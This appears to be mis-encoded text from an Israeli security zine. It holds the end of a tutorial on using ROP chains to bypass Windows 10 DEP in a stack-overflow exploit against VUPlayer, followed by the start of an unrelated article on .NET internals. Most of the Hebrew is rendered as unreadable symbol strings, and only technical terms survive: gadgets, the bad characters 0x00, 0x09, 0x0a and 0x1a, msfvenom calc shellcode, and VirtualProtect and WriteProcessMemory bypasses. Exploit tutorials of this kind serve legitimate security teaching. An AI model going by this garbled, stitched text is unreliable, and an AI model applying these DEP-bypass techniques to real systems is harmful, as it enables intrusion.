˪˩ˣˮ ˟˷˥˪ ˸˞ ˢ˞˴ˣ˸ˢ ˪˷ XOR ˭˧˟ ˨˶˰ˢ ˣˮ˥ˮ˞˷ ˫˧˴ˣ˶ π 0x201 ˨˶˰˪ ˧˦˞˦˯ˢπ0x994803BD Φ˪˥˸˞˪ 

˸˞ eax ˢ˞˴ˣ˸˟ ˶˧˟˰ˢ˪ˣ ˸˞ ˢˬ˧˶ˤˢ ˪-xor gadget Σ˨˩ ˫ˣ˧˯˟˷ ˸˪ˣ˰˲ s-eax Σxor ˵˧ˤ˥˧ ˨˶˰˟ ˧˶ˣ˵ˬˢ 

ˣˮ˥ˮ˞˷ ˫˧˴ˣ˶ Φ˷˧ˣ ˣˮ˪ xchg ˪πebxΦ 

˞˴ˬˮpop eax gadget : 

 

˸˞˴ˣ˸ s-xor ˭˧˟ 0x201 ˪-994803BD ˞˧ˢ 0x994801bc Σ˫˩˯ˮΥ 

 

EDX 

˵˧ˤ˥˧ ˟-flNewProtect Σ˶ˣˬ˞˩ ˢ˴˶ˮ ˫˧˷˪ ˭˞˩ 0x40 ˶ˣ˟˰ PAGE_EXECUTE_READWRITEύ Φ˭˸˧ˮ ˞ˣ˴ˬ˪ 

˸˞ s-Memory Protection Constants ˡˣ˰˧˸˟MSDN Υό 
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˸˥˞ ˫˧˩˶ˡˢ ˸ˣ˷˰˪ ˸˞ˤ Υ 

мΦ ˯˲˞˪ ˸˞ eax  

нΦ ˱˧˯ˣˢ˪ 4 ˪-eax ˡ˰ ˣ˩˶˰˷ ˰˧ˠˬ ˪-0x40 π ˶ˬˣ˪˩ 16 ˫˧ˬ˰˲ 

оΦ ˞ˣ˴ˬ˪xchg edx,eax  

˪˧˥˸ˮ ˯˲˞˪ˬ ˸˞ eaxΥ 

 

˱˧˯ˣˮ ˰˟˶˞ ˪-eax ˷˷ ˢ˶˷˰ ˫˧ˬ˰˲: 

 

˵˧˸˰ˮ ˪-edxΥ 

 

˫˩˯ˮΥ 
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˫ˣ˵ˬ ˟ˣ˸˩˪ ˣ˧˪˞ ˸˞ s-Memory Protection Constant ˫ˡˣ˵ˢ Σˣˮ˥ˮ˞ ˫˧˩˧˶˴ ˸˟ˣ˸˩ ˞˧ˢ˷ ˟ writeable 

˸ˣ˲˧ˡ˰˟ˣ ˢ˵˧˶: 

 

 

˸˥˞ ˸ˣ˟ˣ˸˩ˢˬ ˭˞˩ ˢ˶ˣˬ˞ ˵˧˲˯ˢ˪ ˣˮ˪Φ ˞˴ˬˮ pop ecxΥ 

 

 

EAX 

˭ˣ˶˥˞ˣ Σ˭˧˞ ˣˮ˪ ˸ˬ˞˟ ˨˶ˣ˴ x˟ Σ˞ˣˢ ˫˵ˣˬˬ ˧ˮ˲˪ s-shellcode ˭˩˪ ˟˧˴ˮ x˟ NOPπ˫˧Υ 

 

 

Chaining it all together 

˶˟ˡ ˨˶˦˴ˮ˷ ˫˧˷˪ ˟˪ ˣ˧˪˞ ˞ˣˢ ˶ˡ˯ˢ x˟ ˣˮ˥ˮ˞ ˫˧˷ˬ˸˷ˬ ˫˧˶˦˯˧ˠ˶˟ Φ˵˪˥ ˢˬ-chunkπ˫˧ ˣˮ˟˩˶ˢ˷ 

˫˧˷ˬ˸˷ˬ ˫˧˰˧˲˷ˬˣ ˪˰ ˫˧˶˦˯˧ˠ˶ ˫˧˲˯ˣˮ Σ˭˩˪ ˫ˡˣ˵ ˪˩ ˶˦˲˧ˮ ˫ˢˬΦ ύESI ΣEDX xπEBX ˫˧ˡ˟ˣ˰ ˪˰ EAXΥό 

 

˱ˣ˯˟˪ Σ˶˸ˣˮ ˣˮ˪ ˵˶ ˞ˣ˴ˬ˪ pushad gadget xπshellcode ˢ˴˶ˮ˷ ˳˧˶ˢ˪: 
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Bad chars 

Bad char ˞ˣˢ ˪˩ ˣ˸ ˪ˣ˩˧˷ ˶ˣ˟˷˪ ˣˮ˪ ˸˞ s-shellcode Σ˸ˣˮ˷˪ ˸˞ s˧˲ˣ˞ ˪˷ s-crash x˞ ˦ˣ˷˲ ˸˥˷ˣˬ 

˭ˣ˶˩˧ˤ˟ ˫˧˷ˬ˸˷ˬ˷˩ x˟ ΦBad chars ˣˮ˸˷˧ ˫˞˸ˢ˟ ˢ˧˴˵˧˪˲˞˪ Σˠˣ˯ ˢ˷˪ˣ˥ˢ ˫˧˪ˣ˵ˣ˦ˣ˶˲ˣ ˣˮ˥ˮ˞˷ 

˫˧˦ˠ˶˦ˬ ύ0x00 ˪˷ˬ˪ ˰ˣˡ˧ ˶ˣ˸˟ string terminator Σ˭˩˪ ˷˞˶ˬ ˰ˮˬˮ ˣˮˬˬ Φ0x0D ˠ˴˧˧ˬ r κ˱ˣ˯ˣ ˢˡ˷ 

http Σ˨˩ ˫˞˷ ˣˮ˧˧ˢ ˫˧˪˴ˮˬ ˢ˷˪ˣ˥ ˨˶ˡ ˢˡ˷ ˸˷˵˟˟ HTTP ˣˮ˧˧ˢ ˫˧˰ˮˬˮ ˫ˠ ˣˮˬˬ Φό 

˨˶ˡ ˰ˣ˟˵˪ ˣ˪˧˞ˬ bad chars ˨˶˦˴ˮ ˰ˮˬ˧ˢ˪ ˢ˧˴˞ˣ˦˧˯˟ ˣˮ˪˷ ˞˧ˢ ˥ˣ˪˷˪ ˸˞ ˪˩ ˫˧ˣˣ˸ˢ ˫˧˧˶˷˲˞ˢ ύ0x00-

0xFF Σό˭ˣ˥˟˪ˣ ˡ˴˧˩ ˢ˧˴˵˧˪˲˞ˢ ˢ˟˧ˠˬ ˫ˢ˧˪˞ ˶˥˞˪ ˢ˯˧˶˵ˢύ Φ˭˩˸˧ ˫ˠ ˨˧˪ˢ˸ˢ˷ ˞˪ ˯ˣ˶˵˧ ˢ˞˴ˣ˸˩ 

˸˥˧˪˷ˬ bad char Φ˫˞ ˪˷ˬ˪ s-buffer ˨˧˶˴ ˸ˣ˧ˢ˪ ˪ˡˣˠ˟ ˫˧ˣ˯ˬ ˧ˡ˩ ˠ˧˶˦ˢ˪ ˸˞ ˢ˯˧˶˵ˢ sx-bad char 

ˢ˷ˣ˰ terminate ˪-buffer Φό˱˯ˣˮ˟ Σ˫˧˸˧˰˪ ˫ˣ˵ˬˢ ˪˩ˣˮ˷ ˡˣ˟˰˪ ˣ˸˧˞ ˞˪ ˢ˧ˢ˧ ˪ˣˡˠ ˵˧˲˯ˬ ˶ˣ˟˰ ˪˩ s-

bytearray Σ˨˩ ˳˪˞ˮ˷ ˵˪˥˪ ˸˞ ˢ˵˧ˡ˟ˢ ˪-chunkπ˫˧ Φ 

ˢ˶˵ˬ˟ ˣˮ˪˷ ˪˩ˣˮ ˥ˣ˪˷˪ ˸˞ ˪˩ˢ ˡ˥˧Υ 

 

˟˧˴ˮ ˸˞ s-bytearray ˫ˣ˵˧ˬ˟ x˟ ˶ˣˬ˞ ˸ˣ˧ˢ˪ s-shellcode Σ˶ˣˤ˥ˮ ˪-windbg ˢ˷˰ˮˣ attach ˪vuplayer-Υ 

 

  



 
 

Developing ROP chains to defeat Windows 10 DEP 
www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠмпт, ˶˞ˣ˶˟˲ нлно  пт 
 

ˣˮ˞˴ˬ ˸˞ s-bad char ˭ˣ˷˞˶ˢ ύ˧ˮ˷ ˫˞ ˫˧˯˥˧˧˸ˬ ˪-null byte ˣˮ˪˯˲˷ ˢ˪˥˸ˢˢˬ Σό0x09 ˶˟˷ ˣˮ˪ ˸˞ s-

buffer Φ˶˧˯ˮ ˣ˸ˣ˞ ˢˬ˧˷˶ˢˬ ˶ˣˤ˥ˮˣ ˪˰ ˨˧˪ˢ˸ˢΥ 

 

˟ˣ˷ ˶˟˷ˮ ˶˥˞˪ 0x08 Σ˶ˬˣ˪˩ 0x0a ˞ˣˢ ˫ˠ bad char Σ˨˩ ˨˧˷ˬˮ ˡ˰ ˨˶˰ˬˢ˷ ˞˪ ˰˦˵˧ Φˣ˲ˣ˯˟ ˪˷ ˶˟ˡ 

ˣ˪ˠ˸ ˢ˷-bad chars ˫ˢΥ 0x00 ,0x09 ,0x0a ,0x1aΦ 

˸˶˧˥˟ sπshellcode 

˸˶˦ˬ˪ sπPOC ˷ˬ˸˷˞ ˟-shellcode ˶˴˵ ˳˧˲˵ˬ˷ calc Σ˨˞ ˢ˸ˣ˞˟ ˢˡ˧ˬ ˣˮ˪ˣ˩˧ ˷ˬ˸˷ˢ˪ ˟Reverse-

Shell Φ˸˞ s-shellcode ˷ˬ˸˷˞˷ x˟ ˧˸˟˸˩ ˧ˬ˴˰˟ Σ˞˪ ˟˧˥˶˞ ˪˰ π custom shellcoding ˨˞ ˳˧˪ˬˬ ˫ˣ˥˟ 

˪˰ ˶ˬ˞ˬˢ ˪˷ ˶˧ˮ ˞˷ˣˮ˟ Φ˪˩˟ ˢ˶˵ˬ Σ˭˸˧ˮ ˫ˠ ˦˶ˮˠ˪ shellcode ˟-one liner ˫˰ msfvenom Υ 

 

https://www.digitalwhisper.co.il/files/Zines/0x52/DW82-1-WinShellcoding.pdf
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˫ˣ˧˯˪ˣ Σ-sexploit ˣˮ˪˷ 
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˸ˣ˟˧˦ˮ˶˦˪˞ ˪πVirtualProtect 

˞˪ ˪˩˟ ˢ˧˴˞ˣ˦˧˯ ˢ˧ˢ˧ ˣˮ˪ ˪ˣˡˣˬ ˪˲ˬˣ˵˷ ˞˪˪ ASLR Σˡˣ˰ˣ ˢˤ˩ ˱˯ˣˮ˟˷ ˫ˠ ˞˟˧˧ˬ ˸˞ VirtualProtect Φ˭˩˪ 

˟ˣ˷˥ ˶˧˩ˢ˪ ˸ˣ˟˧˦ˮ˶˦˪˞ Φ 

 

 ˥˵˧ˮ ˢˬˠˣˡ˩ ˸˞ WPM Υ 

 

˷ˣˬ˧˷ ˟-WPM ˶˷˲˞˧ ˣˮ˪ ˟ˣ˸˩˪ ˸˞ s-Shellcode ˣˮ˪˷ ˪˞ ˶ˣˤ˞ ˭ˣ˶˩˧ˤ ˞˪ ˷ˣˬ˧˷˟ Ϧύ˵˧˶ ΣόϦ˟ˣ˶˪ ˶˴ˣˮ ˪˰ 

˧ˡ˧ ˶˪˧˧˲ˬˣ˵ˢ ˸ˣ˶˦ˬ˪ Alignment ˞˶˵ˮˣ ˫ˠ code cave Φˣ˸ˣ˞ ˶ˣˤ˞ ˭ˣ˶˩˧ˤ˟ ˟˧˧˥ ˸ˣ˧ˢ˪ ˪˰˟ ˸ˣ˞˷˶ˢ RX Φ

˧˲˩ ˣˮ˥ˮ˞˷ ˶˟˩ ˫˧˰ˡˣ˧ Σ˷˩-DEP enabled ˭ˣ˶˩˧ˤ ˨˧˶˴ ˸ˣ˧ˢ˪ writeable x˞ executable Σ˞˪ ˫ˠ ˫ˠˣ Φ 

ˤ˞ ˨˧˞ ˣˮ˥ˮ˞ ˪˩˟ ˸˞ˤ ˫˧˪ˣ˩˧ ˟ˣ˸˩˪ ˸˞ s-shellcode ˭ˣ˶˩˧ˤ˪ ˞ˣˢ˷ RX Κˢ˟˧˯ˢ ˞˧ˢ ˢˡ˧ˬ˟˷ ˭ˣ˶˩˧ˤˢˣ ˣ˧˪˞ 

WPM ˢ˷˵˟˸ˢ ˟ˣ˸˩˪ ˞˪ writeable Σ˞˧ˢ ˢ˷˰˸ syscall ˫˷˟ NtProtectVirtualMemory ˭˲ˣ˞˟ˣ ˧ˮˬˤ 

˭ˬ˯˸ ˸˞ s-page ˩-RWX Σ˶˥˞˪ ˸˪ˣ˰˲˷ ˢ˟˧˸˩ˢ ˢˬ˧˧˸˯ˢ ˢ˥˪˴ˢ˟ ˞˧ˢ ˶˧ˤ˥˸ ˸˞ s-page ˣ˟˴ˬ˪ 

ˢ˪˥˸ˢ˟ π ˞˪˪ W Φ 

˭ˣ˶˯˧˥ˢ ˧ˤ˩˶ˬˢ ˞ˣˢ ˸ˣ˧˸˧˧˰˟ˢ ˷ˣˬ˧˷˟ ˟-shellcode ˞ˣˢ˷ encoded π s-decoding stub ˞˪ ˪˩ˣ˧ ˟ˣ˸˩˪ 

-˟code cave ˪˧˟ˣ˧ˣ ˪-Access Violation Φ˸ˣˮˣ˶˸˲ ˫˧˧˶˷˲˞ ˣ˧ˢ˧ ˟ˣ˸˩˪ ˣˮˬ˴˰˟ shellcode ˞˪˷ ˪˪ˣ˩bad 

chars ˪˪˩˟ ˞˪ˣ ˷˶ˣˡ encoding Σˣ˞ ˟ˣ˸˩˪ Decoder ˯˯ˣ˟ˬ ROP ˸ˣ˷˰˪ˣ x˪ ˢ˧˴˶ˠ˦ˮ˧˞ ˪ˣ˴˧ˮ˟ Φ 



 
 

Developing ROP chains to defeat Windows 10 DEP 
www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠмпт, ˶˞ˣ˶˟˲ нлно  рн 
 

ˢˡ˧ˬ˟ ˭˧˞ˣ ˪ˣˡˣˬ ˪˲ˬˣ˵˷ ˞˪˪ ASLR ˞˟˧˧ˬ˷ ˸˞ ˸˥˞ ˸ˣ˧˴˵ˮˣ˲ˢ ˣ˪˞ˢ Σ˪˩ˣˮ ˸ˣ˷˰˪ derefernce ˪-entry 

˪˷ GetProcAddress ˟˪ˤ˶˪ˣ ˸˞ ˢ˧˴˵ˮˣ˲ˢ ˢ˴˶ˮ˷ ˸˧ˬ˞ˮ˧ˡ Σ˪˩ˣˮ ˫ˠ ˭ˣ˰˦˪ ˨˧˪ˢ˸˪ ˪ˣˡˣˬ ˭˩˷ ˪˲ˬˣ˵ ˫˰ 

ASLR ˞˟˧˧ˬˣ ˸˥˞ ˭ˢˬ ˸˶ˤ˰˟ LoadLibrary π s-offset ˰ˣ˟˵ ˢ˧ˢ˸ˣ ˣˮ˪ ˸˞ ˸˟ˣ˸˩ ˯˧˯˟ˢ ˨˶˰˩ ˶ˤˣ˥ˢ 

ˢ˞˧˶˵ˢˬ ˪-LoadLibraryΦ 

 

˫ˣ˩˧˯˪ 

˶ˬ˞ˬ˟ ˣˮ˶˟˧ˡ ˪˰ DEP ˢ˧˴ˠ˦˧ˬ˩ ˪ˣ˴˧ˮ˪ ˧˯˞˪˵ ˪˷ Buffer Overflow ˪˰ s-stack Σ˪˰ ˨˧˞ ˪˩ˣˮ ˷ˬ˸˷ˢ˪ 

-˟ROP ˧ˡ˩ ˱ˣ˵˰˪ ˢ˸ˣ˞ ˣˮ˥˸˧˲ˣ ˯˲˞ˬ ROP Chains ˪ˣ˴˧ˮ˪ ˢ˷˪ˣ˥ ˟πvuplayer ˸ˠ˷ˢˣ code executionΦ  

˪˩˪ ˢ˪˞˷ Σ˧ˮ˞ ˭˧ˬˤ ˪˧˧ˬ˟ x˞ ˭˧˞ˡ˵ˮ˧˪˟. 

dor.gerson17@gmail.com 

https://www.linkedin.com/in/dor-gerson-b12782245 

˫˧˶˞ˮ˧˟ ˪ˣˠ˶˸˪ 

¶ DVD X Player 5.5 Pro 

¶ ASX to MP3 Converter 3.1.2.1 

¶ Easy File Sharing Web Server 7.2 

 

ˢ˞˧˶˵˪ ˸˲˯ˣˮ 

Chaining DEP with ROP (Corelan)Υ 

Exploit writing tutorial part 10: Chaining DEP with ROP - ǘƘŜ wǳōƛƪΩǎώ¢aϐ /ǳōŜ μ /ƻǊŜƭŀƴ 

Cybersecurity ResearchCorelan Cybersecurity Research 

Return Oriented ProgrammingΥ 

FuzzySecurity | ExploitDev: Part 7 

DEP bypass with WriteProcessMemoryΥ 

.ȅǇŀǎǎƛƴƎ 59t ǿƛǘƘ ²ǊƛǘŜtǊƻŎŜǎǎaŜƳƻǊȅ όȄусύ ω Vulndev 

Introduction to win32 sehllcoding (Corelan)Υ 

Exploit writing tutorial part 9 : Introduction to Win32 shellcoding | Corelan Cybersecurity 

ResearchCorelan Cybersecurity Research 

 

mailto:dor.gerson17@gmail.com
https://www.linkedin.com/in/dor-gerson-b12782245
https://www.exploit-db.com/apps/cdfda7217304f4deb7d2e8feb5696394-DVDXPlayerSetup.exe
https://www.exploit-db.com/apps/b31a84e79d9941d89336b6708ef52a20-ASXtoMP3Converter_3121.exe
https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe
https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/
https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/
https://fuzzysecurity.com/tutorials/expDev/7.html
https://vulndev.io/2022/06/12/bypassing-dep-with-writeprocessmemory/
https://www.corelan.be/index.php/2010/02/25/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding/
https://www.corelan.be/index.php/2010/02/25/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding/
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ˢ˥˧˸˲ ˶ˣ˞˧˪ ˸˞ˬ 

 

ˢ˧˴˟˧˦ˣˬˣ ˰˵˶ 

˫˧ˮ˷˟ ˸ˣˮˣ˶˥˞ˢ .NET ˷ˬ˧˷ ˶ˣ˦˵ˣˣ˩ ˢ˲˧˵˸ ˟ˣˢ˞ ˡ˥ˣ˧ˬ˟ ˪˰ ˧ˡ˧ ˫˧˲˵ˣ˸ Φ˸˪ˣ˩˧ˢ ˳ˣ˶˪ ˪˰ ˪˩ ˸ˣ˞˯˶ˠ 

˯ˣˡˮ˧ˣˣ by-design ˸˪ˣ˩˧ˢˣ ˳˧˶ˢ˪ ˡˣ˵ ˭˲ˣ˞˟ ˧ˬ˞ˮ˧ˡ ˧˪˟ˬ ˸˰ˠ˪ ˵˯˧ˡ˟ π ˨˲ˢ ˣ˸ˣ˞ ˧˶˞˪ˣ˲ˣ˲˪ ˡˣ˞ˬ ˟˶˵˟ 

˫˧˲˵ˣ˸ ΦAPT29 ΣDeep Panda x-Oilrig ˭s ˸ˣ˞ˬˠˣˡ ˸ˣ˴ˣ˟˵˪ ˢ˲˧˵˸ ˣ˷ˬ˸˷ˢ˷ ˸ˣ˲˵˸ˬ˟ ˸ˣ˯˯ˣ˟ˬ .NET 

˫˧˪˩ˣ ˣˬ˩ Donut ΣCoblat-Strike x-Covenent ˣ˴ˬ˧˞ ˸˞ ˸ˣ˦˧˷ˢ ˢ˪˞ˢ ˫ˠ ˭˩Φ 

˶˟˰˟ .NET ˢ˸˧˧ˢ ˸ˬ˶ˣ˲˦˪˲ ˥ˣ˸˧˲ ˸ˡ˰ˣ˧ˬˢ ˵˶ ˪-Windows Σˡ˰ ˪˥ˢ˷ ˸ˮ˷ˬ 2016 Microsoft ˢˠ˧˴ˢ 

ˢ˯˶ˠ ˢ˷ˡ˥ Σcross-platform xπopen source ˢˬ˶ˣ˲˦˪˲˪ ˫˷˟ Ϧ.NET Core Ϧ˸˶˷˲˞ˬˢ ˢ˴˶ˢ ˪˷ 

managed code ύC#\VB.NET\F# ˡˣ˰ˣ ό˪˰ ˸ˣ˩˶˰ˬ ˢ˪˰˲ˢ ˸ˣ˟ˣ˶ˬ Σ˭ˣˠ˩ ΥWindows ΣLinux ΣMacOS Σ

˸ˣˬ˶ˣ˲˦˪˲ mobile ˣˬ˩ Android Σˣ˪˧˲˞ˣ ˪˰ tvOS ˪˷ ˪˲˞Φ 

˪˞ ˣ˰˦˸ ˟ˣ˷˥˪ ˶˟ˣˡˬ˷ ˴˧˲˟ϥ˶ ˧˸˷˧ˮ π ˪˥ˢ ˢ˯˶ˠˬ рΦл ˪˷ .NET ˦˲ˣ˯ˣ˶˵˧ˬ ˢ˲˧˪˥ˢ ˸˞ ˫˷ˢ ˪˷ 

.NET ˰ˣˡ˧ˢ ˶˩ˣˬˢˣ ˪".NET Framework" Σˣ˪˧˞ˣ .NET Core ˨˲ˢ ˸ˣ˧ˢ˪ ".NET" Φ˱˯ˣˮ˟ ˨˩˪ Σ˞˪ ˣ˞˴˧˧ ˡˣ˰ 

˸ˣ˞˯˶ˠ ˪.Net Framework ˞˪˞ ˵˶ ˢ˩˧ˬ˸ ˸˪˟ˠˣˬ ˶ˣ˥˞˪ Σ˦˲ˣ˯ˣ˶˵˧ˬˣ ˸ˡˡˣ˰ˬ ˫˧˥˸˲ˬ ˰˴˟˪ ˢ˧˴˶ˠ˧ˬ 

-˪.NET Core π ˶ˬˣ˪˩ .NET Core ˞ˣˢ ˡ˧˸˰ˢ ˪˷ .NET 

ˢ˶ˣ˷ ˢˮˣ˸˥˸ Σ˸ˬ˶ˣ˲˦˪˲ ˥ˣ˸˧˲ˢ ˢ˟ˣˢ˞ˢ ˪˰ ˫˧˥˸˲ˬ ύ˫ˠˣ ˪˰ ˫˧˲˵ˣ˸ ό˞˧ˢ ˸˰˩ ˸˴ˣ˥ ˸ˣ˩˶˰ˬ ˢ˪˰˲ˢ 

by-design Φ˫˞ˢ ˢˤ ˶ˬˣ˞ ˸ˣ˵˧ˮ˩˦˷ ˢ˲˧˵˸ˢ ˸ˣ˯˯ˣ˟ˬ .NET ˣ˧ˢ˷ ˡ˰ ˞˪ ˭ˬˤˬ ˸˪˥ˮ Windows ˡ˟˪˟ 

˸ˣ˧˦ˮˣˣ˪˶ ˫ˠ ˸˩˶˰ˬ˪ ˢ˪˰˲ˢ ˸ˣ˶˥˞ Κˢˬ ˸ˣ˪ˣ˩˧ˢ ˪˷ .NET ˸ˣ˩˶˰ˬ˟ ˢ˪˰˲ˢ ˸ˣ˶˥˞ Κ˫˞ˢ ˷˧ ˫˧˷ˣˬ˧˷ 

˫˧˞˶ˮ ˭˧˰˪ ˪˷ ˸ˣ˵˧ˮ˩˦ ˢ˪˞˩ Κ˶˵˥ˬ˟ ˧ˮ˞ ˢ˯ˮ˞ ˸ˣˮ˰˪ ˪˰ ˸ˣ˪˞˷ˢ ˢ˪˞ˢ Σ˧ˮ˞ˣ ˡ˵ˬ˸˞ ˸ˣ˩˶˰ˬ˟ ˢ˪˰˲ˢ 

˸ˣ˯˯ˣ˟ˬ LinuxΦ 
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˧ˡ˩ ˡˬ˴˧ˢ˪ ˫˧˥ˮˣˬ˪ ˫˧ˮˣ˩ˮˢ Σ˷ˬ˸˷ˮ ˥ˮˣˬ˟ .NET ˧ˡ˩ ˶˞˸˪ ˸˞ .NET Core Σ˶˷˞˩ˣ ˢ˴˶ˮ ˶˟ˡ˪ ˪˰ .NET 

Ϧ˭˷˧ˢ Ϧπ ˷ˬ˸˷ˮ ˥ˮˣˬ˟ .NET Framework 

  

  

˟ ˥˸˲ˬ ˧ˠ˷ˣˬˣ ˫˧˟˧˩˶ˬ-.NET 

˧ˮ˲˪ ˪˪˩˟˷ ˪˩ˣˮ ˶˟ˡ˪ ˪˰ ˞˷ˣˮˢ ˣˮ˪˷ Σˣˮ˥ˮ˞ ˫˧˟˧˧˥ ˭˧˟ˢ˪ ˨˧˞ .NET ˸ˡ˟ˣ˰ ˢˬˣ ˫˧˟˧˩˶ˬˢ ˫˧˧˶˵˧˰ˢ 

ˢ˪˷ Φˣˮ˥ˮ˞ ˶˟ˡˮ ˪˰ ˢ˷ˣ˪˷ ˫˧˟˧˩˶ˬ ˫˧˧˶˵˧˰ Υˢˮ˟ˬˢ ˪˷ ˧˶˞ˮ˧˟ˢ Σ.NET Runtime sx-JIT compiler Φ˫˞ 

˫˧ˠ˷ˣˬˢ ˢ˪˞ˢ ˫˧˰ˣˡ˧ ˨˪ Σ˭˸˧ˮ ˠ˪ˡ˪ ˪˰ ˵˪˥ˢ ˢˤˢΦ 

˥˵˧ˮ ˢˬˠˣˡ˪ ˸˞ s-execution flow ˞˟ˢ π ˶˷˞˩ ˣˮ˞ ˫˧˟˸ˣ˩ ˡˣ˵ C І˫˧˪˲ˬ˵ˬ ˫˧˴˧˶ˬˣ ˣ˸ˣ˞ Σ˨˧˪ˢ˸ˢ 

ˢ˞˶ˮ ˢ˩˩Υ 

 
˥˦˟ ˫˸ˬ˷ ˟˪ ˨˩˪ ˢ˷-execution flow ˢˮˣ˷ ˢˤˬ ˪˷ native binary Σ˪˟˞ ˢˬ ˟ˣ˷˥˷ ˫˧˷˪ ˟˪ ˢˤ 

ˢˮˣ˷˟˷ ˬ-PE ˪˧ˠ˶ ˶˟ˣ˰˷ ˢ˧˴˪˧˲ˬˣ˵ ˸˥˞ ˡˣ˵˪ ˢˮˣ˩ˬ Σˡˣ˵ .NET ˫ˠ˶ˣ˸ˬ ˸˲˷˪ ˫˧˧ˮ˧˟ Σ˶˥˞˪ˣ ˭˩ˬ ˶˟ˣ˰ 

ˢ˧˴˪˧˲ˬˣ˵ ˢ˧ˮ˷ ˸˰˟ ˢ˴˧˶ ˪˰ ˧ˡ˧ s-JIT Φ 

˸˰˩ ˭˸˧ˮ ˸ˣ˷˰˪ ˶˪˧ˣ˲˯ ˸ˣ˞˟˪ π ˫˞ ˪˩ˣˮ ˶˴˧˧˪ Runtime ˧˲˧˴˲˯ ˪˩˪ ˸˩˶˰ˬ ˢ˪˰˲ˢ Σ˪˩ˣ˧˷ ˸˥˵˪ ˸˞ s-

CIL ˡˣ˵ ˶˧ˬˢ˪ˣ ˣ˸ˣ˞ ˡˣ˵˪ ˢˮˣ˩ˬ ˪˰ ˢˮˣ˩ˬˢ ˸˧˦ˮˣˣ˪˶ˢ π ˪˩ˣˮ ˶˴˧˧˪ ˧˶˞ˮ˧˟ Cross-platform Φ˪ˡ˸˷ˮ ˞˪ 

˫˧ˡ˵ˢ˪ ˸˞ ˸ˣ˞˟ˢ ˪ˣ˪˴ˮˣ ˫˧˵˪˥˪ ˫˧ˮˣ˷ˢ ˨˧˪ˢ˸˟ ˢˤˢ ;) 

˪˩˟ ˶˵˥ˬˢ ˢˣˣ˪˧ ˣˮ˸ˣ˞ ˡˣ˵ C# ˧˯˧˯˟ ˪˷ helloWorld Σ˪˲ˬˣ˵˷ ˪-DLL Φ˫˰ .NET 6.0 ˡˣ˵ˢ ˣˮ˪˷ ˢ˧ˢ˧ 

ˣ˪˧˲˞ ˪˵ ˡ˧ˬ˸ˬ ˢ˞˶˧ˣ ˨˩Υ 

 

˞˪˪ ˫ˣ˷ ˸˧˧˴˵ˮˣ˲ main x˞ ˢˤ˶˩ˢ ˪˰ class x˞ namespacesΦ 

https://learn.microsoft.com/en-us/dotnet/core/tutorials/top-level-templates
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ˢˮ˟ˬ ˪˷ .NET Assembly 

ˣˤ ˞˪ ˸ˣ˰˦ Σ˫˧˧˶˞ˮ˧˟ ˫˧˟ˣ˸˩˷ ˟-.NET ˫˧ˮˣ˩ˬ .NET Assemblies Σ˭˧˞ˣ ˫ˢ˪ ˫ˣ˷ ˶˷˵ ˸˲˷˪ Assembly Φ

.NET Assembly ˞ˣˢ ˢ˷˰ˬ˪ ˦ˬ˶ˣ˲ ˟˥˶ˣˬ ˪˷ PE Σˠ˴˧˧ˬ˷ exe Σdll x˞ ˳˟ˣ˵ resource Σ˞ˣˢˣ ˪˰˟ ˢˮ˟ˬ 

ˢˮˣ˷ ˬ-PE ˪˧ˠ˶ π ˞ˣˢ ˟˩˶ˣˬ ˢˬ˩ˬ ˫˧˟˧˩˶ˬ ˫˧˴˟˵ˣ Σ˫˧ˡˠˣ˞ˬˢ ˡ˥˧ ˧ˡ˩˪ ˧˶˞ˮ˧˟ ˡ˥˞ Σ˪˩ˣ ˡ˥˞ ˪˧˩ˬ ˰ˡ˧ˬ 

˳ˣ˥ˮ ˢˮ˧˰˦˪ ˢ˴˶ˢˣ ˪˷ ˧˶˞ˮ˧˟ˢ Φ 

˦ˬ˶ˣ˲ˢ ˢˤˢ ˶˴ˣˮ ˧ˡ˩ ˶˟ˠ˸ˢ˪ ˪˰ ˸ˣ˧˰˟ ˣ˧ˢ˷ ˫˰ COM dlls ˣˮˣ˩˷ ˪˰ ˧ˡ˧ ˫˧˥˸˲ˬ "DLL Hell" Σˣˬ˶ˠ˷ 

˸ˣ˧˰˟˪ ˪˷ ˸ˣˬ˧˞˸ ˶ˣ˥˞˪ Σ˫ˣ˞˧˸ ˸ˣ˞˯˶ˠ ˱ˣ˸˧˷ˣ dlls ˭˧˟ ˸ˣ˧˴˵˧˪˲˞ Φ.NET Assembly ˟˩˶ˣˬ ˰˟˶˞ˬ 

˸ˣ˦ˮˮˣ˲ˬˣ˵Υ 

 

мΦ ˦˯˲˧ˮˬˢ ύAssembly Manifestό - ˪˧˩ˬ ˰ˡ˧ˬ ˠ˴˧˧ˬ˷ ˸˞ ˧˶˞ˮ˧˟ˢ Σ˭ˣˠ˩ Υ˫˷ Σ˸˯˶ˠ .NET Σ˫˧˴˟˵ˢ 

˫˧˟˧˩˶ˬ˷ ˣ˸ˣ˞ sx-dependencies ˫ˢ˪˷ ˡˣ˰ˣ Φ˭˸˧ˮ ˠ˧˴ˢ˪ ˸˞ ˦˯˲˧ˮˬˢ ˸ˣ˪˵˟ ˫˰ ildasm.exe Σ˞˪ 

˧˸˲˶˧˴ ˢˮˣˬ˸ ˧˩ ˢˤ ˪ˣˡˠ ˶˰ˣ˩ˬˣ Φˣ˯ˮ˸ ˸˧˟˟ J 

 

нΦ ˡˣ˵ ˫˧˧ˮ˧˟ˢ ύCIL Code -Common Intermediate Language ό - ˢˤ ˵˪˥ˢ ˧˶˞ˮ˧˟˟ ˪˧˩ˬ˷ ˸˞ ˡˣ˵ˢ 

˨˧˶˴˷ ˳ˣ˶˪ Φˢˮˣ˷˟ ˬ-PE ˪˲ˬˣ˵ˬ ˪˧˩ˬ˷ ˡˣ˵ ˢˮˣ˩ˬ Σ-sCIL ˞ˣˢ ˪˵ ˢ˞˧˶˵˪ sxπruntime ˶˧ˬˬ ˸˞ ˡˣ˵ 

